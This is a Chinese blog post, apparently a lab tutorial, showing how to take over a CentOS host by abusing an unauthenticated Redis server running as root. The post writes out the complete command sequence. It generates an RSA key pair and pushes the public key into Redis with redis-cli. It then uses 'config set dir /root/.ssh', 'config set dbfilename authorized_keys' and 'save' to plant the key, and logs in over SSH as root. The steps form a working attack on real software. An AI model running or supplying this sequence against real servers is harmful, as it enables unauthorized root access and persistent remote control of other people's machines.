redis使用ssh密钥远控靶机

 

首先说明一下我们的实验目的,我们这个实验需要利用一种公有密码,将公有密钥写入要攻击的服务器的redis数据库,然后使用我们自己的私钥进行远控肉鸡的操作。

 

实验环境:centos7(靶机,版本无太大要求,重点是靶机需要开启22端口的ssh服务)

                kali(攻击方)

 

(1)在centos7内安装redis数据库,并以root权限启动redis(安装步骤请参照我写的上一篇 https://www.cnblogs.com/cute-puli/p/10853300.html 

 

看到饼状图代表redis数据库安装成功

 

(2)在centos7内开启ssh服务(一般靶机是会将此服务打开的)

         在centos的/etc/ssh目录下

         输入查询是否安装ssh的命令:

 rpm -qa | grep ssh 

         输入启动ssh的命令:

systemctl restart sshd

         输入ssh端口是否监听的命令:

 netstat -an | grep 22

 

 

 能看到22端口已开始监听代表成功开启ssh服务

 

 

(3)在靶机的~目录下,创建一个隐藏的.ssh文件夹接收攻击方要传来的公钥值。

mkdir .ssh/

 

 (4)查询是否ssh文件是否已创建好

      输入命令:

ls -la

 

能够看到ssh文件夹的存在

 

(5)进入攻击方,在攻击方,我们同样需要安装好redis数据库,具体安装流程不再赘述。

 

 上图代表redis已经安装完成

 

(6)在kali中,我们同样需要创建一个和centos一样的.ssh的文件,但这个.ssh是用来生成密钥的,

      在~目录下执行命令:

mkdir .ssh/

ls -la

 

 

(7)在kali的这个我们创建的.ssh下产生密钥:

      执行语句,提示输入什么时,一直回车就好:

ssh-keygen -t rsa


上图所示代表生成的公有与私有密钥

 

(8)将公有密钥导入到key.txt

        执行写入语句的操作:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

      这时,在.ssh/目录下出现key.txt代表写入成功,可以使用

cat key.txt

      进行查看是否成功。

 

这是成功的回显效果

 

(9)将公有密钥导入到靶机中,使用如下命令(在kali进行,我的centos7的IP就是192.168.11.205,kali的IP为192.168.172.129

       注:需要在/src的目录下输入如下命令

 

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.11.205 -x set xxx

(10)连接靶机(这就是为什么kali也要安装redis的原因)

./redis-cli -h 192.168.11.205

如上图这样,需要在/src的目录下输入命令

 

 (11)向靶机的redis数据库创建一个名为authorized_keys的库,并写入key.txt的操作,写入公有密钥:

config set dir /root/.ssh

config set dbfilename authorized_keys

save

 

我们能够发现,centos靶机已被写入了公有密钥

 

(12)在kali使用ssh对靶机进行连接,直接即可远控192.168.11.205靶机

       输入:

ssh 192.168.11.205

 

 

最后说明:这样,我们就成功远控了centos靶机,这里需要提一点:路径都是可以更换的,当你成功的远控了主机之后,就可以更换路径再次尝试这样的操作,还有,我这里的centos使用的是桥接模式,而kali使用的是nat模式,在做实验时,需要保证,kali能ping通靶机环境,否则无法进行写入公有密钥的操作。

 

posted @ 2019-05-15 20:39  铺哩  阅读(4858)  评论(2编辑  收藏  举报